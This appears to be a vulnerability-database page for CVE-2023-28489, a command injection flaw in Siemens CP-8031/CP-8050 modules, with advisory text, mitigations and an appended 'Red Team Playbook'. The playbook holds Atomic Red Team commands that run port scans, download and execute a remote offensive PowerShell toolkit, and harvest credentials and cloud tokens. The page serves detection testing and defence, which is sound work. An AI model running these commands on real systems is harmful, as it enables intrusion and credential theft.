CVE-2023-28489
Overview
This vulnerability is a command injection flaw rooted in improper input validation of the "Remote Operation" parameter within the Siemens CP-8031 and CP-8050 MASTER MODULE web server interface. The affected component is the embedded web server listening on TCP port 443, which processes this parameter when enabled. The flaw allows crafted input to be executed as system commands due to insufficient sanitization of user-supplied data.
Vulnerability Description
A vulnerability has been identified in CP-8031 MASTER MODULE (All versions < CPCI85 V05), CP-8050 MASTER MODULE (All versions < CPCI85 V05). Affected devices are vulnerable to command injection via the web server port 443/tcp, if the parameter “Remote Operation” is enabled. The parameter is disabled by default. The vulnerability could allow an unauthenticated remote attacker to perform arbitrary code execution on the device.
Impact
An unauthenticated remote attacker with network access to the device's HTTPS interface can execute arbitrary system commands, leading to full control over the device. No user interaction or credentials are required (CVSS vector AV:N/AC:L/PR:N/UI:N). This can result in disruption of industrial control processes, unauthorized data access, or lateral movement within the network, severely impacting operational technology environments.
Solution
Siemens recommends updating affected devices to firmware version CPCI85 V05 or later as detailed in advisory SSA-472454 (https://cert-portal.siemens.com/productcert/pdf/ssa-472454.pdf). Disabling the "Remote Operation" parameter if not required serves as a temporary mitigation. Follow the vendor's patch instructions precisely to remediate the vulnerability in CP-8031 and CP-8050 MASTER MODULEs.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
A significant vulnerability has been identified in the CP-8031 and CP-8050 Master Modules, specifically in versions prior to CPCI85 V05. This flaw is characterized by a command injection vulnerability that can be exploited through the web server operating on port 443/tcp. When the "Remote Operation" parameter is enabled, which is not the default setting, an unauthenticated remote attacker can send crafted requests that allow for arbitrary code execution on the device. The implications of this vulnerability are severe, as it undermines the integrity and security of the affected devices, potentially allowing attackers to manipulate device operations or gain unauthorized access to sensitive information.
The primary attack vector involves leveraging the web server's functionality to inject malicious commands. An attacker would first need to identify a target device with the "Remote Operation" feature enabled. Once this condition is met, the attacker can craft specific HTTP requests that exploit the command injection flaw, leading to the execution of arbitrary code. This could result in the attacker gaining control over the device, altering its configurations, or even launching further attacks within the network. Scenarios could include disrupting industrial processes, manipulating automation systems, or using the compromised device as a foothold for lateral movement within an organization’s infrastructure.
The real-world impact of this vulnerability is substantial, particularly for organizations relying on these Master Modules for critical operations. The potential for arbitrary code execution poses a significant business risk, as it could lead to operational downtime, data breaches, or even safety incidents in industrial environments. The financial implications could be severe, including costs associated with incident response, system recovery, and potential regulatory fines. Additionally, the reputational damage from a successful exploitation could erode customer trust and lead to a loss of business opportunities.
To detect and mitigate the risks associated with this vulnerability, organizations should implement several strategies. First, it is crucial to ensure that all affected devices are updated to the latest firmware version, which addresses the vulnerability. Regular vulnerability assessments and penetration testing can help identify any instances of the "Remote Operation" feature being enabled and assess the overall security posture of the network. Furthermore, organizations should consider implementing network segmentation to limit the exposure of critical devices to untrusted networks. Intrusion detection systems (IDS) can also be employed to monitor for unusual traffic patterns or unauthorized access attempts, providing an additional layer of defense.
In conclusion, the command injection vulnerability in the CP-8031 and CP-8050 Master Modules represents a critical security risk that could have far-reaching consequences for affected organizations. By understanding the technical details of the vulnerability, potential attack vectors, and the associated business risks, organizations can take proactive measures to safeguard their systems. Implementing robust detection and mitigation strategies will be essential in protecting against exploitation and ensuring the integrity of industrial operations.
Affected Products (2)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Siemens | Cp-8031 Firmware | All |
cpe:2.3:o:siemens:cp-8031_firmware:*:*:*:*:*:*:*:*
|
|
|
Siemens | Cp-8050 Firmware | All |
cpe:2.3:o:siemens:cp-8050_firmware:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-28489 |
| cert-portal.siemens.com |
GitHub CVE
|
https://cert-portal.siemens.com/productcert/pdf/ssa-472454.pdf |
| seclists.org |
GitHub CVE
|
http://seclists.org/fulldisclosure/2023/Jul/14 |
| packetstormsecurity.com |
GitHub CVE
|
http://packetstormsecurity.com/files/173370/Siemens-A8000-CP-8050-CP-8031-Code-Execution-Command-Injection.html |